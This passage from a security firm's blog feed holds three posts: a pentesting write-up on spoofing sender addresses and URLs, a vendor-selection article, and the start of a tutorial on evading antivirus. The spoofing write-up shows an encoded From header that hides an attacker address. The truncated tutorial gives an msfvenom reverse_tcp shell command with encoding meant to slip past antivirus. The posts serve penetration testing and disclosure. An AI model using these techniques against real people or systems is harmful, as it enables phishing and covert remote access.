<figure class="wp-block-image size-full"><img width="745" height="161" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/outlook.png" alt="Outlook Spoof" class="wp-image-481"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/06/outlook.png 745w, https://www.virtuesecurity.com/wp-content/uploads/2020/06/outlook-300x65.png 300w" sizes="(max-width: 745px) 100vw, 745px" /></figure>



<p>The sender address in all of these emails looks like it&#8217;s from a trusted domain name (e.g., microsoft.com), but that&#8217;s not really the case. To help you understand what&#8217;s going on, let&#8217;s look at how most email clients display the &#8216;from&#8217; address. Email clients typically display it in this format:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="Foo Bar &lt;foobar@emailservice.com&gt;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">Foo Bar </span><span style="color: #808080">&lt;</span><span style="color: #F44747">foobar@emailservice.com</span><span style="color: #808080">&gt;</span></span></code></pre></div>



<p>This can be broken down to two parts: the display name &#8220;Foo Bar&#8221; and the sender address &#8220;foobar@emailservice.com&#8221; enclosed in angle brackets.</p>



<p>But what happens if we set the value of the display name to something like this instead:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="Microsoft &lt;mail@microsoft.com&gt;　　　　　　[...lots and lots of whitespace characters]." style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">Microsoft </span><span style="color: #808080">&lt;</span><span style="color: #F44747">mail@microsoft.com</span><span style="color: #808080">&gt;</span><span style="color: #D4D4D4">　　　　　　[...lots and lots of whitespace characters].</span></span></code></pre></div>



<p>The answer is what you see in the screenshots above. The trick is simply that we are padding the display name with too many Unicode ideographic spaces (U+3000) so that the actual sender address gets rendered out of view while a fake sender address is used at the beginning of the display name (e.g., &#8220;Microsoft <a href="mailto:mail@microsoft.com">mail@microsoft.com</a>&#8220;) to make it look like the email came from a trusted source. The full &#8216;from&#8217; address actually looks like this:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="Microsoft &lt;mail@microsoft.com&gt;　[...lots and lots of whitespace characters]&lt;attacker@attacker.com&gt;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">Microsoft </span><span style="color: #808080">&lt;</span><span style="color: #F44747">mail@microsoft.com</span><span style="color: #808080">&gt;</span><span style="color: #D4D4D4">　[...lots and lots of whitespace characters]</span><span style="color: #808080">&lt;</span><span style="color: #F44747">attacker@attacker.com</span><span style="color: #808080">&gt;</span></span></code></pre></div>



<p>But because of the extraneous whitespaces in the display name, the <a href="mailto:attacker@attacker.com">attacker@attacker.com</a> part (that is, the sender address) gets rendered out of view and you only get to see the part at the beginning of the display name (that is, &#8220;Microsoft <a href="mailto:mail@microsoft.com">mail@microsoft.com</a>&#8220;) which tricks you into thinking it&#8217;s the real sender address.</p>



<p>If you inspect the &#8220;From:&#8221; email header, it looks something like this:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="From: =?UTF-8?B?TWljcm9zb2Z0IDxtYWlsQG1pY3Jvc29mdC5jb20+44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=
 =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CALg==?=
 &lt;attacker@attacker.com&gt;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">From: =?UTF-8?B?TWljcm9zb2Z0IDxtYWlsQG1pY3Jvc29mdC5jb20+44CA44CA44CA44CA44CA?=</span></span>
<span class="line"><span style="color: #D4D4D4"> =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=</span></span>
<span class="line"><span style="color: #D4D4D4"> =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=</span></span>
<span class="line"><span style="color: #D4D4D4"> =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=</span></span>
<span class="line"><span style="color: #D4D4D4"> =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA?=</span></span>
<span class="line"><span style="color: #D4D4D4"> =?UTF-8?B?44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CA44CALg==?=</span></span>
<span class="line"><span style="color: #D4D4D4"> </span><span style="color: #808080">&lt;</span><span style="color: #F44747">attacker@attacker.com</span><span style="color: #808080">&gt;</span></span></code></pre></div>



<p>But who actually inspects the headers of every email they receive? Life surely is too short for that.</p>



<p>Now you see that links, filenames, and sender addresses can all be easily spoofed. But what about the domain name in your browser&#8217;s URL bar? Can it be spoofed as easily too?</p>



<h2 class="wp-block-heading" id="h-exploiting-rtl-ltr-domains-chrome-cve-2018-18348">Exploiting RTL / LTR domains (Chrome CVE-2018-18348)</h2>



<p>Let&#8217;s take CVE-2018-18348 as an example (this is the most recent URL spoofing vulnerability we discovered):</p>


        <figure class="blog-img no-br">
            <img width="389" height="87" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/bidispoof.png" class="attachment-full size-full" alt="URL Spoof" data-srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/06/bidispoof.png 389w, https://www.virtuesecurity.com/wp-content/uploads/2020/06/bidispoof-300x67.png 300w" sizes="(max-width: 389px) 100vw, 389px" / loading="lazy" class="lazyload">                            <a href="https://www.virtuesecurity.com/wp-content/uploads/2020/06/bidispoof.png"                    target="_self" title=""></a>
                    </figure>
    


<p>This screenshot is from Chrome for Android, it clearly shows the domain name as &#8220;www.google.com&#8221;. But the actual domain name is &#8220;www.google.com.مثال.السعودية&#8221;. To help you understand what&#8217;s going on, this is the order which the full URL is displayed in:</p>


        <figure class="blog-img no-br">
            <img width="360" height="29" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/bididomain.png" class="attachment-full size-full" alt="Bidirectional URL" data-srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/06/bididomain.png 360w, https://www.virtuesecurity.com/wp-content/uploads/2020/06/bididomain-300x24.png 300w" sizes="(max-width: 360px) 100vw, 360px" / loading="lazy" class="lazyload">                            <a href="https://www.virtuesecurity.com/wp-content/uploads/2020/06/bididomain.png"                    target="_self" title=""></a>
                    </figure>
    


<p>In case you&#8217;re not aware, this is called a multilingual bidirectional domain name which contains characters from two different character sets, and as such, it&#8217;s displayed with different display orders (from right to left and from left to right). The &#8220;www.google.com&#8221; part is only the subdomain of an internationalized domain name &#8220;مثال.السعودية&#8221;. And the &#8220;٠&#8221; character in the pathname is the Unicode character U+0660 (Arabic-Indic Digit Zero).</p>



<p>The browser is supposed to display RTL domain names like &#8220;مثال.السعودية&#8221; from right to left, and LTR domain names like &#8220;www.google.com&#8221; from left to right. If the domain name is too long like &#8220;subdomain.subdomain.subdomain.example.com&#8221;, the browser is supposed to elide the domain name from the left so that &#8220;example.com&#8221; is always displayed to the user (that is, the top- and second-level domain names).</p>



<p>But when RTL and LTR domain names are mixed together (e.g., &#8220;www.google.com.مثال.السعودية/٠&#8221;), the browser doesn&#8217;t properly display the RTL SLD/TLD &#8220;مثال.السعودية&#8221;, and it gets rendered out of view. This results in the subdomain(s) &#8220;www.google.com&#8221; being displayed to the user as if it were the actual domain name.</p>



<p>This might remind you of a known class of attacks called &#8220;visual spoofing&#8221; where lookalike Unicode characters (called &#8220;homoglyphs&#8221;) are used to spoof domain names and such—however, UI tricks like the above extend what you can do as an attacker/red teamer and help in bypassing existing countermeasures like how web browsers display IDN domain names in punycode to defend against spoofing&#8230;.</p>



<p>As part of responsible disclosure, we&#8217;ve reported these UI bugs to the affected software vendors, and the bugs have (mostly) been fixed since then. But the same techniques could be applicable against GUI components of any web or native application where Unicode is supported in user input.</p>



<p>In conclusion, building secure software surely is hard as new attacks keep evolving by the day. And software vendors are often overwhelmed trying to keep pace with these attacks. So at the end of the day, it all comes down to user awareness in order to stay secure online.</p>



<h3 class="wp-block-heading" id="h-references">References:</h3>



<ul class="wp-block-list">
<li>Right-to-Left Scripts for Internationalized Domain Names for Applications (IDNA): <a href="https://tools.ietf.org/html/rfc5893">https://tools.ietf.org/html/rfc5893</a></li>



<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-12397">https://nvd.nist.gov/vuln/detail/CVE-2020-12397</a></li>



<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2018-18348">https://nvd.nist.gov/vuln/detail/CVE-2018-18348</a></li>
</ul>
<p>The post <a href="https://www.virtuesecurity.com/pentesting-user-interfaces/">Pentesting User Interfaces: How to Phish Any Chrome, Outlook, or Thunderbird User</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">477</post-id>	</item>
		<item>
		<title>5 Tips for selecting a penetration testing company in 2021</title>
		<link>https://www.virtuesecurity.com/5-tips-for-selecting-a-penetration-testing-company-in-2020/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Mon, 08 Jun 2020 05:30:34 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=437</guid>

					<description><![CDATA[<p>Selecting a penetration testing company can be a pain. Here are five important tips to ensure you penetration testing vendor will set you up for success.</p>
<p>The post <a href="https://www.virtuesecurity.com/5-tips-for-selecting-a-penetration-testing-company-in-2020/">5 Tips for selecting a penetration testing company in 2021</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><em>Note: This article has been updated for 2021.</em></p>



<p>Selecting a penetration testing company can be a daunting task. It&#8217;s an industry plagued with misleading sales tactics, weak certifications, and simply unqualified professionals. To make things worse, <em>penetration testing is an art</em>, which is has inherent challenges to structure as a professional service.</p>



<p>Remember that penetration testing is specifically designed to simulate malicious hackers who do not follow rules and use creative ways to abuse your technology. This has an unavoidable conflict with the trend many pentest companies have to offer a predefined, reproducible, and structured service.</p>



<p>I&#8217;ve been a professional penetration tester for almost 20 years, and I greatly sympathize with those seeking their first assessment. Below are my five most sincere tips for sorting through the hype, bogus claims, and general lack of capabilities of most pentest companies.</p>



<h2 class="wp-block-heading">1. A penetration testing company should be creative</h2>



<p>A long time ago I worked at a large penetration testing company that assured customers they had a “100% reproducible methodology”. This was boasted confidently at every sales meeting, met with approving nods from other executives. The idea was that their methodology was so great, and had a super-awesome checklist that could find every bug in an application. I had never seen this methodology.</p>



<p>Pentesting is far more of an art than science; and any competent pentesting company has an obligation to set those expectations. While there are very important checklists and methodologies to follow during a pentest, this is largely considered a trivial and straight forward part of the process.</p>



<p>The value of an experienced pentester always lies in the <em>manual analysis</em>; this is where they attempt to undermine security controls, bypass business logic, and use behaviors and technologies in unexpected ways.</p>



<p>This is a creative process and unlikely to be reproduced identically even by the most skillful pentesters. For example, we recently identified a <a href="https://www.virtuesecurity.com/tale-of-a-wormable-twitter-xss/">Twitter XSS</a> which involved a complex analysis of application behaviors. These things combined led to the discovery of one of the most critical vulnerabilities affecting the platform.</p>



<h2 class="wp-block-heading">2. Expertise in your application stack and technologies</h2>



<p>When you speak to a pentest company for the first time the conversation should be a two way street. If you tell a vendor your application is hosted on AWS, they should have a slew of questions about your stack; “What services specifically do you use?”, “Do you leverage s3 for storage?”, “Is your authentication backed by Cognito?” are all example questions you would want to hear.</p>



<p>“What is your codebase?” and “How many lines of code?” are two very typical scoping questions, but if the pentest company doesn’t dig much deeper beyond that to truly understand your attack surface, it may be a good idea to shop around.</p>



<h2 class="wp-block-heading">3. Evaluating the scoping process</h2>



<p>The scoping process is typically the time a penetration testing company will need to understand your application and determine a level of effort for testing. This, however, is an even better opportunity for you to evaluate them as a vendor.</p>



<p>Ask yourself if the company is truly trying to understand your app and technologies, or simply running through a checklist of questions. If the application scoping process feels like it’s just a checklist of questions, the actual pentest is likely to be just a checklist as well.</p>



<p>Do their questions include follow up questions that demonstrate they actually care and want to do the best assessment possible? Or are you being funneled strictly through their process? If everything feels routine, your pentest is unlikely to get the special consideration it needs.</p>



<h2 class="wp-block-heading">4. Certifications (or lack thereof?)</h2>



<p>Pentest certifications are a double edged sword. On one hand, they assure a moderate level of competence. On another, they still fall very short of whats expected of a skillful pentester. Remember that certification bodies inherently must target a large enough group of people to stay profitable.</p>



<p>Pentest companies which boast of “certified hackers” should be evaluated cautiously. In the pentesting community, there is very little weight is given to most of these certifications. For those seeking penetest services, it&#8217;s important to understand that as well.</p>



<p>Instead of making judgement based on certifications, check their Github, their blogs, and their research. Any skillful pentesting company will usually contribute a great deal to the security community.</p>



<h2 class="wp-block-heading">5. Cost</h2>



<p>Cost is suddenly a high priority for most organizations. As I write this quarantined in the midst of a pandemic, more companies than ever are looking to get more value for the dollar.</p>



<p>The importance of right-sizing your penetration testing company has never been more important.</p>



<p>At the end of the day, the vast majority of penetration tests will be performed by one person. When using a vendor there’s an unavoidable part of cost that goes to company&#8217;s operational overhead. There are two rules I recommend most to follow:</p>



<ol class="wp-block-list">
<li>Pick a company you feel is competent to assess your application.</li>



<li>Pay as little as possible for overhead</li>
</ol>



<p>Consider our breakdown of cost fictional big-box penetration testing company:</p>



<figure class="wp-block-image size-full"><img width="600" height="400" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/pentest-company-cost.png" alt="Pentest company cost breakdown" class="wp-image-1387"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/06/pentest-company-cost.png 600w, https://www.virtuesecurity.com/wp-content/uploads/2020/06/pentest-company-cost-300x200.png 300w" sizes="(max-width: 600px) 100vw, 600px" /></figure>



<p>There are a lot of approximations and variables here. However, when you compare the cost of a pentest to the salary of the pentester, you can get a pretty clear idea of how much value is returned. This is one reason many large institutions are beginning to prefer smaller pentest companies as vendors.</p>



<h2 class="wp-block-heading">6. The &#8220;Uber model&#8221;, or not?</h2>



<p>The rise of on-demand testing performed by a number of pentesters has gained some popularity over the last few years. Instead of one individual tester, several testers review the application in parallel. The idea is that multiple testers should find bugs that the others members have missed, potentially giving better coverage.</p>



<p>But there&#8217;s a fundamental flaw, which is the payment must be divided between the 4 or 5 testers. The business model unfortunately must use a good number of entry-level or low skill pentesters. To add to the problem with this, the testers still perform a large amount of redundant work.</p>



<p>We would argue that one highly skilled tester is far more effective than more low skill testers.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p>If you made it to the end of this I hope this was helpful in your search!</p>



<p>Virtue Security is a trusted penetration testing company located in New York City. We are an engineering focused team offering <a href="https://purpleleaf.io">continuous penetration testing</a> through our platform PurpleLeaf as well as traditional point in time penetration tests of SaaS platforms, mobile applications, and internal/external networks.</p>
<p>The post <a href="https://www.virtuesecurity.com/5-tips-for-selecting-a-penetration-testing-company-in-2020/">5 Tips for selecting a penetration testing company in 2021</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">437</post-id>	</item>
		<item>
		<title>Evading Antivirus with Better Meterpreter Payloads</title>
		<link>https://www.virtuesecurity.com/evading-antivirus-with-better-meterpreter-payloads/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Thu, 06 Feb 2020 23:13:16 +0000</pubDate>
				<category><![CDATA[Network]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=353</guid>

					<description><![CDATA[<p>Ever have meterpreter shells consistently fail? Anti-virus products may be causing your penetration tests to fall flat. By using unique encoded meterpreter shells you can avoid AV and elevate your penetration tests.</p>
<p>The post <a href="https://www.virtuesecurity.com/evading-antivirus-with-better-meterpreter-payloads/">Evading Antivirus with Better Meterpreter Payloads</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Evading antivirus is often an under appreciated art that can make or break a penetration test. Modern antivirus products can detect meterpreter payloads easily, and can leave a pentester falsely believing a system is not exploitable.</p>



<p>To increase our overall success rate of exploitation we will create a custom meterpreter reverse_tcp payload.</p>



<p>To do this we will first need a few things:</p>



<ol class="wp-block-list">
<li>Visual Studio 2019 Community (Free): <a href="https://visualstudio.microsoft.com/downloads/">https://visualstudio.microsoft.com/downloads/</a></li>



<li>Metasploit Framework: <a href="https://github.com/rapid7/metasploit-framework">https://github.com/rapid7/metasploit-framework</a></li>
</ol>



<h2 class="wp-block-heading">TLDR</h2>



<p>We will create shellcode with msfvenom, encode it, paste it to a custom template, and deliver the compiled binary as a custom payload with metasploit.</p>



<h2 class="wp-block-heading">Windows Shellcode: x86 or x64?</h2>



<p>Several years ago it was very common for x64 binaries to fly by Windows Defender, however AV products have greatly improved recently and begun to detect x64 meterpreter payloads we tested. Very few encoders support x64 shellcode which further reduces our ability to create stealthy payloads. In our testing we find that building x86 payloads with the shikata_ga_nai have stood the longest test of time and are still able to evade most AV engines.</p>



<h2 class="wp-block-heading">Meterpreter payloads: which one?</h2>



<p>You can view a list of payloads by running <code>msfvenom -l payloads</code>, we will use the reverse_tpc staged payload:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="windows/meterpreter/reverse_tcp                     Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">windows/meterpreter/reverse_tcp</span><span style="color: #D4D4D4">                     </span><span style="color: #CE9178">Inject</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">the</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">meterpreter</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">server</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">DLL</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">via</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">the</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Reflective</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Dll</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Injection</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">payload</span><span style="color: #D4D4D4"> (staged). Connect back to the attacker</span></span></code></pre></div>



<p>Note: our selected payload <code>windows/meterpreter/reverse_tcp</code> payload is considerably different than the <code>windows/meterpreter_reverse_tcp</code> payload. The second <code>/</code> indicates the payload is staged and will connect back to our handler to deliver the complete meterpreter payload.</p>



<h3 class="wp-block-heading">Shellcode Encoder</h3>



<p>You can view all available encoders by running <code>msfvenom -l encoders</code>. We see the most success using <code>x86/shikata_ga_nai</code> with a number of iterations.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4">            </span><span style="color: #CE9178">excellent</span><span style="color: #D4D4D4">  </span><span style="color: #CE9178">Polymorphic</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">XOR</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Additive</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Feedback</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">Encoder</span></span></code></pre></div>



<h3 class="wp-block-heading">Creating the shellcode with Msfvenom</h3>



<p>Now we will use msfvenom to export the reverse_tcp payload as encoded shellcode. You will need to change the IP and port to that of your listener. You may also wish to change the number of iterations (<code>-i 8</code>), using up to 25 should be safe in most situations:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=9090 -e x86/shikata_ga_nai -i 8 -f c &gt; shell.c" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">$</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">msfvenom</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-p</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">windows/meterpreter/reverse_tcp</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">LHOST=</span><span style="color: #B5CEA8">10.0</span><span style="color: 